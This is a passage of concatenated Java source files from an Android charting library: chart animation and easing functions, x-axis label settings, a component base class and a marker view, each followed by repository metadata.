ObjectAnimator animatorY = ObjectAnimator.ofFloat(this, "phaseY", 0f, 1f);
animatorY.setInterpolator(easing);
animatorY.setDuration(durationMillis);
animatorY.addUpdateListener(mListener);
animatorY.start();
}
/**
* ################ ################ ################ ################
*/
/** METHODS FOR PREDEFINED EASING */
/**
* Animates the drawing / rendering of the chart on both x- and y-axis with
* the specified animation time. If animate(...) is called, no further
* calling of invalidate() is necessary to refresh the chart.
*
* @param durationMillisX
* @param durationMillisY
* @param easingX
* @param easingY
*/
public void animateXY(int durationMillisX, int durationMillisY, Easing.EasingOption easingX,
Easing.EasingOption easingY) {
if (android.os.Build.VERSION.SDK_INT < 11)
return;
ObjectAnimator animatorY = ObjectAnimator.ofFloat(this, "phaseY", 0f, 1f);
animatorY.setInterpolator(Easing.getEasingFunctionFromOption(easingY));
animatorY.setDuration(
durationMillisY);
ObjectAnimator animatorX = ObjectAnimator.ofFloat(this, "phaseX", 0f, 1f);
animatorX.setInterpolator(Easing.getEasingFunctionFromOption(easingX));
animatorX.setDuration(
durationMillisX);
// make sure only one animator produces update-callbacks (which then
// call invalidate())
if (durationMillisX > durationMillisY) {
animatorX.addUpdateListener(mListener);
} else {
animatorY.addUpdateListener(mListener);
}
animatorX.start();
animatorY.start();
}
/**
* Animates the rendering of the chart on the x-axis with the specified
* animation time. If animate(...) is called, no further calling of
* invalidate() is necessary to refresh the chart.
*
* @param durationMillis
* @param easing
*/
public void animateX(int durationMillis, Easing.EasingOption easing) {
if (android.os.Build.VERSION.SDK_INT < 11)
return;
ObjectAnimator animatorX = ObjectAnimator.ofFloat(this, "phaseX", 0f, 1f);
animatorX.setInterpolator(Easing.getEasingFunctionFromOption(easing));
animatorX.setDuration(durationMillis);
animatorX.addUpdateListener(mListener);
animatorX.start();
}
/**
* Animates the rendering of the chart on the y-axis with the specified
* animation time. If animate(...) is called, no further calling of
* invalidate() is necessary to refresh the chart.
*
* @param durationMillis
* @param easing
*/
public void animateY(int durationMillis, Easing.EasingOption easing) {
if (android.os.Build.VERSION.SDK_INT < 11)
return;
ObjectAnimator animatorY = ObjectAnimator.ofFloat(this, "phaseY", 0f, 1f);
animatorY.setInterpolator(Easing.getEasingFunctionFromOption(easing));
animatorY.setDuration(durationMillis);
animatorY.addUpdateListener(mListener);
animatorY.start();
}
/**
* ################ ################ ################ ################
*/
/** METHODS FOR ANIMATION WITHOUT EASING */
/**
* Animates the drawing / rendering of the chart on both x- and y-axis with
* the specified animation time. If animate(...) is called, no further
* calling of invalidate() is necessary to refresh the chart.
*
* @param durationMillisX
* @param durationMillisY
*/
public void animateXY(int durationMillisX, int durationMillisY) {
if (android.os.Build.VERSION.SDK_INT < 11)
return;
ObjectAnimator animatorY = ObjectAnimator.ofFloat(this, "phaseY", 0f, 1f);
animatorY.setDuration(
durationMillisY);
ObjectAnimator animatorX = ObjectAnimator.ofFloat(this, "phaseX", 0f, 1f);
animatorX.setDuration(
durationMillisX);
// make sure only one animator produces update-callbacks (which then
// call invalidate())
if (durationMillisX > durationMillisY) {
animatorX.addUpdateListener(mListener);
} else {
animatorY.addUpdateListener(mListener);
}
animatorX.start();
animatorY.start();
}
/**
* Animates the rendering of the chart on the x-axis with the specified
* animation time. If animate(...) is called, no further calling of
* invalidate() is necessary to refresh the chart.
*
* @param durationMillis
*/
public void animateX(int durationMillis) {
if (android.os.Build.VERSION.SDK_INT < 11)
return;
ObjectAnimator animatorX = ObjectAnimator.ofFloat(this, "phaseX", 0f, 1f);
animatorX.setDuration(durationMillis);
animatorX.addUpdateListener(mListener);
animatorX.start();
}
/**
* Animates the rendering of the chart on the y-axis with the specified
* animation time. If animate(...) is called, no further calling of
* invalidate() is necessary to refresh the chart.
*
* @param durationMillis
*/
public void animateY(int durationMillis) {
if (android.os.Build.VERSION.SDK_INT < 11)
return;
ObjectAnimator animatorY = ObjectAnimator.ofFloat(this, "phaseY", 0f, 1f);
animatorY.setDuration(durationMillis);
animatorY.addUpdateListener(mListener);
animatorY.start();
}
/**
* This gets the y-phase that is used to animate the values.
*
* @return
*/
public float getPhaseY() {
return mPhaseY;
}
/**
* This modifys the y-phase that is used to animate the values.
*
* @param phase
*/
public void setPhaseY(float phase) {
mPhaseY = phase;
}
/**
* This gets the x-phase that is used to animate the values.
*
* @return
*/
public float getPhaseX() {
return mPhaseX;
}
/**
* This modifys the x-phase that is used to animate the values.
*
* @param phase
*/
public void setPhaseX(float phase) {
mPhaseX = phase;
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/animation/ChartAnimator.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 2,161 |
```java
package com.github.mikephil.charting.animation;
/**
* Easing options.
*
* @author Daniel Cohen Gindi
*/
public class Easing {
/**
* Use EasingOption instead of EasingFunction to avoid crashes below Android
* 3.0
*/
public enum EasingOption {
Linear,
EaseInQuad,
EaseOutQuad,
EaseInOutQuad,
EaseInCubic,
EaseOutCubic,
EaseInOutCubic,
EaseInQuart,
EaseOutQuart,
EaseInOutQuart,
EaseInSine,
EaseOutSine,
EaseInOutSine,
EaseInExpo,
EaseOutExpo,
EaseInOutExpo,
EaseInCirc,
EaseOutCirc,
EaseInOutCirc,
EaseInElastic,
EaseOutElastic,
EaseInOutElastic,
EaseInBack,
EaseOutBack,
EaseInOutBack,
EaseInBounce,
EaseOutBounce,
EaseInOutBounce,
}
public static EasingFunction getEasingFunctionFromOption(EasingOption easing) {
switch (easing) {
default:
case Linear:
return EasingFunctions.Linear;
case EaseInQuad:
return EasingFunctions.EaseInQuad;
case EaseOutQuad:
return EasingFunctions.EaseOutQuad;
case EaseInOutQuad:
return EasingFunctions.EaseInOutQuad;
case EaseInCubic:
return EasingFunctions.EaseInCubic;
case EaseOutCubic:
return EasingFunctions.EaseOutCubic;
case EaseInOutCubic:
return EasingFunctions.EaseInOutCubic;
case EaseInQuart:
return EasingFunctions.EaseInQuart;
case EaseOutQuart:
return EasingFunctions.EaseOutQuart;
case EaseInOutQuart:
return EasingFunctions.EaseInOutQuart;
case EaseInSine:
return EasingFunctions.EaseInSine;
case EaseOutSine:
return EasingFunctions.EaseOutSine;
case EaseInOutSine:
return EasingFunctions.EaseInOutSine;
case EaseInExpo:
return EasingFunctions.EaseInExpo;
case EaseOutExpo:
return EasingFunctions.EaseOutExpo;
case EaseInOutExpo:
return EasingFunctions.EaseInOutExpo;
case EaseInCirc:
return EasingFunctions.EaseInCirc;
case EaseOutCirc:
return EasingFunctions.EaseOutCirc;
case EaseInOutCirc:
return EasingFunctions.EaseInOutCirc;
case EaseInElastic:
return EasingFunctions.EaseInElastic;
case EaseOutElastic:
return EasingFunctions.EaseOutElastic;
case EaseInOutElastic:
return EasingFunctions.EaseInOutElastic;
case EaseInBack:
return EasingFunctions.EaseInBack;
case EaseOutBack:
return EasingFunctions.EaseOutBack;
case EaseInOutBack:
return EasingFunctions.EaseInOutBack;
case EaseInBounce:
return EasingFunctions.EaseInBounce;
case EaseOutBounce:
return EasingFunctions.EaseOutBounce;
case EaseInOutBounce:
return EasingFunctions.EaseInOutBounce;
}
}
private static class EasingFunctions {
/**
* ########## ########## ########## ########## ########## ##########
* PREDEFINED EASING FUNCTIONS BELOW THIS
*/
public static final EasingFunction Linear = new EasingFunction() {
// @Override
// public float ease(long elapsed, long duration) {
// return elapsed / (float) duration;
// }
@Override
public float getInterpolation(float input) {
return input;
}
};
public static final EasingFunction EaseInQuad = new EasingFunction() {
// @Override
// public float ease(long elapsed, long duration) {
// float position = elapsed / (float) duration;
// return position * position;
// }
@Override
public float getInterpolation(float input) {
return input * input;
}
};
public static final EasingFunction EaseOutQuad = new EasingFunction() {
// @Override
// public float ease(long elapsed, long duration) {
// float position = elapsed / (float) duration;
// return -position * (position - 2.f);
// }
@Override
public float getInterpolation(float input) {
return -input * (input - 2f);
}
};
public static final EasingFunction EaseInOutQuad = new EasingFunction() {
// @Override
// public float ease(long elapsed, long duration) {
// float position = elapsed / (duration / 2.f);
// if (position < 1.f)
// {
// return 0.5f * position * position;
// }
// return -0.5f * ((--position) * (position - 2.f) - 1.f);
// }
@Override
public float getInterpolation(float input) {
float position = input / 0.5f;
if (position < 1.f) {
return 0.5f * position * position;
}
return -0.5f * ((--position) * (position - 2.f) - 1.f);
}
};
public static final EasingFunction EaseInCubic = new EasingFunction() {
// @Override
// public float ease(long elapsed, long duration) {
// float position = elapsed / (float) duration;
// return position * position * position;
// }
@Override
public float getInterpolation(float input) {
return input * input * input;
}
};
public static final EasingFunction EaseOutCubic = new
EasingFunction() {
// @Override
// public float ease(long elapsed, long duration) {
// float position = elapsed / (float) duration;
// position--;
// return (position * position * position + 1.f);
// }
@Override
public float getInterpolation(float input) {
input--;
return (input * input * input + 1.f);
}
};
public static final EasingFunction EaseInOutCubic = new
EasingFunction() {
// @Override
// public float ease(long elapsed, long duration) {
// float position = elapsed / (duration / 2.f);
// if (position < 1.f)
// {
// return 0.5f * position * position * position;
// }
// position -= 2.f;
// return 0.5f * (position * position * position + 2.f);
// }
@Override
public float getInterpolation(float input) {
float position = input / 0.5f;
if (position < 1.f) {
return 0.5f * position * position * position;
}
position -= 2.f;
return 0.5f * (position * position * position + 2.f);
}
};
public static final EasingFunction EaseInQuart = new EasingFunction() {
public float getInterpolation(float input) {
return input * input * input * input;
}
};
public static final EasingFunction EaseOutQuart = new EasingFunction() {
public float getInterpolation(float input) {
input--;
return -(input * input * input * input - 1f);
}
};
public static final EasingFunction EaseInOutQuart = new
EasingFunction() {
@Override
public float getInterpolation(float input) {
float position = input / 0.5f;
if (position < 1.f) {
return 0.5f * position * position * position * position;
}
position -= 2.f;
return -0.5f * (position * position * position * position - 2.f);
}
};
public static final EasingFunction EaseInSine = new EasingFunction() {
// @Override
// public float ease(long elapsed, long duration) {
// float position = elapsed / (float) duration;
// return -(float) Math.cos(position * (Math.PI / 2.f)) + 1.f;
// }
@Override
public float getInterpolation(float input) {
return -(float) Math.cos(input * (Math.PI / 2.f)) + 1.f;
}
};
public static final EasingFunction EaseOutSine = new EasingFunction() {
// @Override
// public float ease(long elapsed, long duration) {
// float position = elapsed / (float) duration;
// return (float) Math.sin(position * (Math.PI / 2.f));
// }
@Override
public float getInterpolation(float input) {
return (float) Math.sin(input * (Math.PI / 2.f));
}
};
public static final EasingFunction EaseInOutSine = new EasingFunction() {
// @Override
// public float ease(long elapsed, long duration) {
// float position = elapsed / (float) duration;
// return -0.5f * ((float) Math.cos(Math.PI * position) - 1.f);
// }
@Override
public float getInterpolation(float input) {
return -0.5f * ((float) Math.cos(Math.PI * input) - 1.f);
}
};
public static final EasingFunction EaseInExpo = new EasingFunction() {
// @Override
// public float ease(long elapsed, long duration) {
// return (elapsed == 0) ? 0.f : (float) Math.pow(2.f, 10.f * (elapsed
// / (float) duration - 1.f));
// }
@Override
public float getInterpolation(float input) {
return (input == 0) ? 0.f : (float) Math.pow(2.f, 10.f * (input - 1.f));
}
};
public static final EasingFunction EaseOutExpo = new EasingFunction() {
// @Override
// public float ease(long elapsed, long duration) {
// return (elapsed == duration) ? 1.f : (-(float) Math.pow(2.f, -10.f *
// elapsed
// / (float) duration) + 1.f);
// }
@Override
public float getInterpolation(float input) {
return (input == 1f) ? 1.f : (-(float) Math.pow(2.f, -10.f * (input + 1.f)));
}
};
public static final EasingFunction EaseInOutExpo = new
EasingFunction() {
// @Override
// public float ease(long elapsed, long duration) {
// if (elapsed == 0)
// {
// return 0.f;
// }
// if (elapsed == duration)
// {
// return 1.f;
// }
//
// float position = elapsed / (duration / 2.f);
// if (position < 1.f)
// {
// return 0.5f * (float) Math.pow(2.f, 10.f * (position - 1.f));
// }
// return 0.5f * (-(float) Math.pow(2.f, -10.f * --position) +
// 2.f);
// }
@Override
public float getInterpolation(float input) {
if (input == 0)
{
return 0.f;
}
if (input == 1f)
{
return 1.f;
}
float position = input / 0.5f;
if (position < 1.f)
{
return 0.5f * (float) Math.pow(2.f, 10.f * (position - 1.f));
}
return 0.5f * (-(float) Math.pow(2.f, -10.f * --position) + 2.f);
}
};
public static final EasingFunction EaseInCirc = new EasingFunction() {
// @Override
// public float ease(long elapsed, long duration) {
// float position = elapsed / (float) duration;
// return -((float) Math.sqrt(1.f - position * position) - 1.f);
// }
@Override
public float getInterpolation(float input) {
return -((float) Math.sqrt(1.f - input * input) - 1.f);
}
};
public static final EasingFunction EaseOutCirc = new EasingFunction() {
// @Override
// public float ease(long elapsed, long duration) {
// float position = elapsed / (float) duration;
// position--;
// return (float) Math.sqrt(1.f - position * position);
// }
@Override
public float getInterpolation(float input) {
input--;
return (float) Math.sqrt(1.f - input * input);
}
};
public static final EasingFunction EaseInOutCirc = new
EasingFunction() {
// @Override
// public float ease(long elapsed, long duration) {
// float position = elapsed / (duration / 2.f);
// if (position < 1.f)
// {
// return -0.5f * ((float) Math.sqrt(1.f - position * position)
// - 1.f);
// }
// return 0.5f * ((float) Math.sqrt(1.f - (position -= 2.f) *
// position)
// + 1.f);
// }
@Override
public float getInterpolation(float input) {
float position = input / 0.5f;
if (position < 1.f)
{
return -0.5f * ((float) Math.sqrt(1.f - position * position) - 1.f);
}
return 0.5f * ((float) Math.sqrt(1.f - (position -= 2.f) * position)
+ 1.f);
}
};
public static final EasingFunction EaseInElastic = new
EasingFunction() {
// @Override
// public float ease(long elapsed, long duration) {
// if (elapsed == 0)
// {
// return 0.f;
// }
//
// float position = elapsed / (float) duration;
// if (position == 1)
// {
// return 1.f;
// }
//
// float p = duration * .3f;
// float s = p / (2.f * (float) Math.PI) * (float)
// Math.asin(1.f);
// return -((float) Math.pow(2.f, 10.f * (position -= 1.f)) *
// (float)
// Math
// .sin((position * duration - s) * (2.f * Math.PI) / p));
// }
@Override
public float getInterpolation(float input) {
if (input == 0)
{
return 0.f;
}
float position = input;
if (position == 1)
{
return 1.f;
}
float p = .3f;
float s = p / (2.f * (float) Math.PI) * (float) Math.asin(1.f);
return -((float) Math.pow(2.f, 10.f * (position -= 1.f)) * (float)
Math
.sin((position - s) * (2.f * Math.PI) / p));
}
};
public static final EasingFunction EaseOutElastic = new
EasingFunction() {
// @Override
// public float ease(long elapsed, long duration) {
// if (elapsed == 0)
// {
// return 0.f;
// }
//
// float position = elapsed / (float) duration;
// if (position == 1)
// {
// return 1.f;
// }
//
// float p = duration * .3f;
// float s = p / (2 * (float) Math.PI) * (float) Math.asin(1.f);
// return (float) Math.pow(2, -10 * position)
// * (float) Math.sin((position * duration - s) * (2.f *
// Math.PI) / p) +
// 1.f;
// }
@Override
public float getInterpolation(float input) {
if (input == 0)
{
return 0.f;
}
float position = input;
if (position == 1)
{
return 1.f;
}
float p = .3f;
float s = p / (2 * (float) Math.PI) * (float) Math.asin(1.f);
return (float) Math.pow(2, -10 * position)
* (float) Math.sin((position - s) * (2.f * Math.PI) / p) +
1.f;
}
};
public static final EasingFunction EaseInOutElastic = new
EasingFunction() {
// @Override
// public float ease(long elapsed, long duration) {
// if (elapsed == 0)
// {
// return 0.f;
// }
//
// float position = elapsed / (duration / 2.f);
// if (position == 2)
// {
// return 1.f;
// }
//
// float p = duration * (.3f * 1.5f);
// float s = p / (2.f * (float) Math.PI) * (float)
// Math.asin(1.f);
// if (position < 1.f)
// {
// return -.5f
// * ((float) Math.pow(2.f, 10.f * (position -= 1.f)) * (float)
// Math
// .sin((position * duration - s) * (2.f * Math.PI) / p));
// }
// return (float) Math.pow(2.f, -10.f * (position -= 1.f))
// * (float) Math.sin((position * duration - s) * (2.f *
// Math.PI) / p) *
// .5f
// + 1.f;
// }
@Override
public float getInterpolation(float input) {
if (input == 0)
{
return 0.f;
}
float position = input / 0.5f;
if (position == 2)
{
return 1.f;
}
float p = (.3f * 1.5f);
float s = p / (2.f * (float) Math.PI) * (float) Math.asin(1.f);
if (position < 1.f)
{
return -.5f
* ((float) Math.pow(2.f, 10.f * (position -= 1.f)) * (float) Math
.sin((position * 1f - s) * (2.f * Math.PI) / p));
}
return (float) Math.pow(2.f, -10.f * (position -= 1.f))
* (float) Math.sin((position * 1f - s) * (2.f * Math.PI) / p) *
.5f
+ 1.f;
}
};
public static final EasingFunction EaseInBack = new EasingFunction()
{
// @Override
// public float ease(long elapsed, long duration) {
// final float s = 1.70158f;
// float position = elapsed / (float) duration;
// return position * position * ((s + 1.f) * position - s);
// }
@Override
public float getInterpolation(float input) {
final float s = 1.70158f;
float position = input;
return position * position * ((s + 1.f) * position - s);
}
};
public static final EasingFunction EaseOutBack = new EasingFunction()
{
// @Override
// public float ease(long elapsed, long duration) {
// final float s = 1.70158f;
// float position = elapsed / (float) duration;
// position--;
// return (position * position * ((s + 1.f) * position + s) + 1.f);
// }
@Override
public float getInterpolation(float input) {
final float s = 1.70158f;
float position = input;
position--;
return (position * position * ((s + 1.f) * position + s) + 1.f);
}
};
public static final EasingFunction EaseInOutBack = new
EasingFunction() {
// @Override
// public float ease(long elapsed, long duration) {
// float s = 1.70158f;
// float position = elapsed / (duration / 2.f);
// if (position < 1.f)
// {
// return 0.5f * (position * position * (((s *= (1.525f)) + 1.f)
// *
// position - s));
// }
// return 0.5f * ((position -= 2.f) * position
// * (((s *= (1.525f)) + 1.f) * position + s) + 2.f);
// }
@Override
public float getInterpolation(float input) {
float s = 1.70158f;
float position = input / 0.5f;
if (position < 1.f)
{
return 0.5f * (position * position * (((s *= (1.525f)) + 1.f) *
position - s));
}
return 0.5f * ((position -= 2.f) * position
* (((s *= (1.525f)) + 1.f) * position + s) + 2.f);
}
};
public static final EasingFunction EaseInBounce = new
EasingFunction() {
// @Override
// public float ease(long elapsed, long duration) {
// return 1.f - EaseOutBounce.ease(duration - elapsed,
// duration);
// }
@Override
public float getInterpolation(float input) {
return 1.f - EaseOutBounce.getInterpolation(1f - input);
}
};
public static final EasingFunction EaseOutBounce = new
EasingFunction() {
// @Override
// public float ease(long elapsed, long duration) {
// float position = elapsed / (float) duration;
// if (position < (1.f / 2.75f))
// {
// return (7.5625f * position * position);
// }
// else if (position < (2.f / 2.75f))
// {
// return (7.5625f * (position -= (1.5f / 2.75f)) * position +
// .75f);
// }
// else if (position < (2.5f / 2.75f))
// {
// return (7.5625f * (position -= (2.25f / 2.75f)) * position +
// .9375f);
// }
// else
// {
// return (7.5625f * (position -= (2.625f / 2.75f)) * position +
// .984375f);
// }
// }
@Override
public float getInterpolation(float input) {
float position = input;
if (position < (1.f / 2.75f))
{
return (7.5625f * position * position);
}
else if (position < (2.f / 2.75f))
{
return (7.5625f * (position -= (1.5f / 2.75f)) * position + .75f);
}
else if (position < (2.5f / 2.75f))
{
return (7.5625f * (position -= (2.25f / 2.75f)) * position + .9375f);
}
else
{
return (7.5625f * (position -= (2.625f / 2.75f)) * position +
.984375f);
}
}
};
public static final EasingFunction EaseInOutBounce = new
EasingFunction() {
// @Override
// public float ease(long elapsed, long duration) {
// if (elapsed < duration / 2.f)
// {
// return EaseInBounce.ease(elapsed * 2, duration) * .5f;
// }
// return EaseOutBounce.ease(elapsed * 2 - duration, duration) *
// .5f +
// .5f;
// }
@Override
public float getInterpolation(float input) {
if (input < 0.5f)
{
return EaseInBounce.getInterpolation(input * 2) * .5f;
}
return EaseOutBounce.getInterpolation(input * 2 - 1f) * .5f +
.5f;
}
};
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/animation/Easing.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 5,682 |
```java
package com.github.mikephil.charting.components;
import com.github.mikephil.charting.formatter.DefaultXAxisValueFormatter;
import com.github.mikephil.charting.formatter.XAxisValueFormatter;
import com.github.mikephil.charting.utils.Utils;
import java.util.ArrayList;
import java.util.List;
/**
* Class representing the x-axis labels settings. Only use the setter methods to
* modify it. Do not access public variables directly. Be aware that not all
* features the XLabels class provides are suitable for the RadarChart.
*
* @author Philipp Jahoda
*/
public class XAxis extends AxisBase {
/** the arraylist containing all the x-axis labels */
protected List<String> mValues = new ArrayList<>();
/**
* width of the x-axis labels in pixels - this is automatically
* calculated by the computeAxis() methods in the renderers
*/
public int mLabelWidth = 1;
/**
* height of the x-axis labels in pixels - this is automatically
* calculated by the computeAxis() methods in the renderers
*/
public int mLabelHeight = 1;
/**
* width of the (rotated) x-axis labels in pixels - this is automatically
* calculated by the computeAxis() methods in the renderers
*/
public int mLabelRotatedWidth = 1;
/**
* height of the (rotated) x-axis labels in pixels - this is automatically
* calculated by the computeAxis() methods in the renderers
*/
public int mLabelRotatedHeight = 1;
/**
* This is the angle for drawing the X axis labels (in degrees)
*/
protected float mLabelRotationAngle = 0f;
/**
* the space that should be left out (in characters) between the x-axis
* labels
*/
private int mSpaceBetweenLabels = 4;
/**
* the modulus that indicates if a value at a specified index in an
* array(list) for the x-axis-labels is drawn or not. If index % modulus ==
* 0 DRAW, else dont draw.
*/
public int mAxisLabelModulus = 1;
/**
* Is axisLabelModulus a custom value or auto calculated? If false, then
* it's auto, if true, then custom. default: false (automatic modulus)
*/
private boolean mIsAxisModulusCustom = false;
/**
* if set to true, the chart will avoid that the first and last label entry
* in the chart "clip" off the edge of the chart
*/
private boolean mAvoidFirstLastClipping = false;
/**
* Custom formatter for adjusting x-value strings
*/
protected XAxisValueFormatter mXAxisValueFormatter = new DefaultXAxisValueFormatter();
/** the position of the x-labels relative to the chart */
private XAxisPosition mPosition = XAxisPosition.TOP;
/** enum for the position of the x-labels relative to the chart */
public enum XAxisPosition {
TOP, BOTTOM, BOTH_SIDED, TOP_INSIDE, BOTTOM_INSIDE
}
public XAxis() {
super();
mYOffset = Utils.convertDpToPixel(4.f); // -3
}
/**
* returns the position of the x-labels
*/
public XAxisPosition getPosition() {
return mPosition;
}
/**
* sets the position of the x-labels
*
* @param pos
*/
public void setPosition(XAxisPosition pos) {
mPosition = pos;
}
/**
* returns the angle for drawing the X axis labels (in degrees)
*/
public float getLabelRotationAngle() {
return mLabelRotationAngle;
}
/**
* sets the angle for drawing the X axis labels (in degrees)
*
* @param angle the angle in degrees
*/
public void setLabelRotationAngle(float angle) {
mLabelRotationAngle = angle;
}
/**
* Sets the space (in characters) that should be left out between the x-axis
* labels, default 4. This only applies if the number of labels that will be
* skipped in between drawn axis labels is not custom set.
*
* @param spaceCharacters
*/
public void setSpaceBetweenLabels(int spaceCharacters) {
mSpaceBetweenLabels = spaceCharacters;
}
/**
* Sets the number of labels that should be skipped on the axis before the
* next label is drawn. This will disable the feature that automatically
* calculates an adequate space between the axis labels and set the number
* of labels to be skipped to the fixed number provided by this method. Call
* resetLabelsToSkip(...) to re-enable automatic calculation.
*
* @param count
*/
public void setLabelsToSkip(int count) {
if (count < 0)
count = 0;
mIsAxisModulusCustom = true;
mAxisLabelModulus = count + 1;
}
/**
* Calling this will disable a custom number of labels to be skipped (set by
* setLabelsToSkip(...)) while drawing the x-axis. Instead, the number of
* values to skip will again be calculated automatically.
*/
public void resetLabelsToSkip() {
mIsAxisModulusCustom = false;
}
/**
* Returns true if a custom axis-modulus has been set that determines the
* number of labels to skip when drawing.
*
* @return
*/
public boolean isAxisModulusCustom() {
return mIsAxisModulusCustom;
}
/**
* Returns the space (in characters) that should be left out between the
* x-axis labels
*/
public int getSpaceBetweenLabels() {
return mSpaceBetweenLabels;
}
/**
* if set to true, the chart will avoid that the first and last label entry
* in the chart "clip" off the edge of the chart or the screen
*
* @param enabled
*/
public void setAvoidFirstLastClipping(boolean enabled) {
mAvoidFirstLastClipping = enabled;
}
/**
* returns true if avoid-first-lastclipping is enabled, false if not
*
* @return
*/
public boolean isAvoidFirstLastClippingEnabled() {
return mAvoidFirstLastClipping;
}
/**
* Sets the labels for this axis.
*
* @param values
*/
public void setValues(List<String> values) {
mValues = values;
}
/**
* Returns the labels for this axis.
*
* @return
*/
public List<String> getValues() {
return mValues;
}
/**
* Sets a custom XAxisValueFormatter for the data object that allows custom-formatting
* of all x-values before rendering them. Provide null to reset back to the
* default formatting.
*
* @param formatter
*/
public void setValueFormatter(XAxisValueFormatter formatter) {
if(formatter == null)
mXAxisValueFormatter = new DefaultXAxisValueFormatter();
else
mXAxisValueFormatter = formatter;
}
/**
* Returns the custom XAxisValueFormatter that is set for this data object.
* @return
*/
public XAxisValueFormatter getValueFormatter() {
return mXAxisValueFormatter;
}
@Override
public String getLongestLabel() {
String longest = "";
for (int i = 0; i < mValues.size(); i++) {
String text = mValues.get(i);
if (longest.length() < text.length())
longest = text;
}
return longest;
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/components/XAxis.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 1,695 |
```java
package com.github.mikephil.charting.components;
import android.graphics.Color;
import android.graphics.Typeface;
import com.github.mikephil.charting.utils.Utils;
/**
* This class encapsulates everything both Axis, Legend and LimitLines have in common.
*
* @author Philipp Jahoda
*/
public abstract class ComponentBase {
/**
* flag that indicates if this axis / legend is enabled or not
*/
protected boolean mEnabled = true;
/**
* the offset in pixels this axis labels have on the x-axis
*/
protected float mXOffset = 5f;
/**
* the offset in pixels this axis labels have on the Y-axis
*/
protected float mYOffset = 5f;
/**
* the typeface used for the labels
*/
protected Typeface mTypeface = null;
/**
* the text size of the labels
*/
protected float mTextSize = 10f;
/**
* the text color to use for the labels
*/
protected int mTextColor = Color.BLACK;
public ComponentBase() {
}
/**
* Returns the used offset on the x-axis for drawing the axis or legend
* labels. This offset is applied before and after the label.
*
* @return
*/
public float getXOffset() {
return mXOffset;
}
/**
* Sets the used x-axis offset for the labels on this axis.
*
* @param xOffset
*/
public void setXOffset(float xOffset) {
mXOffset = Utils.convertDpToPixel(xOffset);
}
/**
* Returns the used offset on the x-axis for drawing the axis labels. This
* offset is applied before and after the label.
*
* @return
*/
public float getYOffset() {
return mYOffset;
}
/**
* Sets the used y-axis offset for the labels on this axis. For the legend,
* higher offset means the legend as a whole will be placed further away
* from the top.
*
* @param yOffset
*/
public void setYOffset(float yOffset) {
mYOffset = Utils.convertDpToPixel(yOffset);
}
/**
* returns the Typeface used for the labels, returns null if none is set
*
* @return
*/
public Typeface getTypeface() {
return mTypeface;
}
/**
* sets a specific Typeface for the labels
*
* @param tf
*/
public void setTypeface(Typeface tf) {
mTypeface = tf;
}
/**
* sets the size of the label text in pixels min = 6f, max = 24f, default
* 10f
*
* @param size
*/
public void setTextSize(float size) {
if (size > 24f)
size = 24f;
if (size < 6f)
size = 6f;
mTextSize = Utils.convertDpToPixel(size);
}
/**
* returns the text size that is currently set for the labels
*
* @return
*/
public float getTextSize() {
return mTextSize;
}
/**
* Sets the text color to use for the labels. Make sure to use
* getResources().getColor(...) when using a color from the resources.
*
* @param color
*/
public void setTextColor(int color) {
mTextColor = color;
}
/**
* Returns the text color that is set for the labels.
*
* @return
*/
public int getTextColor() {
return mTextColor;
}
/**
* Set this to true if this component should be enabled (should be drawn),
* false if not. If disabled, nothing of this component will be drawn.
* Default: true
*
* @param enabled
*/
public void setEnabled(boolean enabled) {
mEnabled = enabled;
}
/**
* Returns true if this comonent is enabled (should be drawn), false if not.
*
* @return
*/
public boolean isEnabled() {
return mEnabled;
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/components/ComponentBase.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 911 |
```java
package com.github.mikephil.charting.components;
import android.content.Context;
import android.graphics.Canvas;
import android.view.LayoutInflater;
import android.view.View;
import android.widget.RelativeLayout;
import com.github.mikephil.charting.data.Entry;
import com.github.mikephil.charting.highlight.Highlight;
/**
* View that can be displayed when selecting values in the chart. Extend this class to provide custom layouts for your
* markers.
*
* @author Philipp Jahoda
*/
public abstract class MarkerView extends RelativeLayout {
/**
* Constructor. Sets up the MarkerView with a custom layout resource.
*
* @param context
* @param layoutResource the layout resource to use for the MarkerView
*/
public MarkerView(Context context, int layoutResource) {
super(context);
setupLayoutResource(layoutResource);
}
/**
* Sets the layout resource for a custom MarkerView.
*
* @param layoutResource
*/
private void setupLayoutResource(int layoutResource) {
View inflated = LayoutInflater.from(getContext()).inflate(layoutResource, this);
inflated.setLayoutParams(new LayoutParams(LayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT));
inflated.measure(MeasureSpec.makeMeasureSpec(0, MeasureSpec.UNSPECIFIED), MeasureSpec.makeMeasureSpec(0, MeasureSpec.UNSPECIFIED));
// measure(getWidth(), getHeight());
inflated.layout(0, 0, inflated.getMeasuredWidth(), inflated.getMeasuredHeight());
}
/**
* Draws the MarkerView on the given position on the screen with the given Canvas object.
*
* @param canvas
* @param posx
* @param posy
*/
public void draw(Canvas canvas, float posx, float posy) {
// take offsets into consideration
posx += getXOffset(posx);
posy += getYOffset(posy);
// translate to the correct position and draw
canvas.translate(posx, posy);
draw(canvas);
canvas.translate(-posx, -posy);
}
/**
* This method enables a specified custom MarkerView to update it's content everytime the MarkerView is redrawn.
*
* @param e The Entry the MarkerView belongs to. This can also be any subclass of Entry, like BarEntry or
* CandleEntry, simply cast it at runtime.
* @param highlight the highlight object contains information about the highlighted value such as it's dataset-index, the
* selected range or stack-index (only stacked bar entries).
*/
public abstract void refreshContent(Entry e, Highlight highlight);
/**
* Use this to return the desired offset you wish the MarkerView to have on the x-axis. By returning -(getWidth() /
* 2) you will center the MarkerView horizontally.
*
* @param xpos the position on the x-axis in pixels where the marker is drawn
* @return
*/
public abstract int getXOffset(float xpos);
/**
* Use this to return the desired position offset you wish the MarkerView to have on the y-axis. By returning
* -getHeight() you will cause the MarkerView to be above the selected value.
*
* @param ypos the position on the y-axis in pixels where the marker is drawn
* @return
*/
public abstract int getYOffset(float ypos);
}
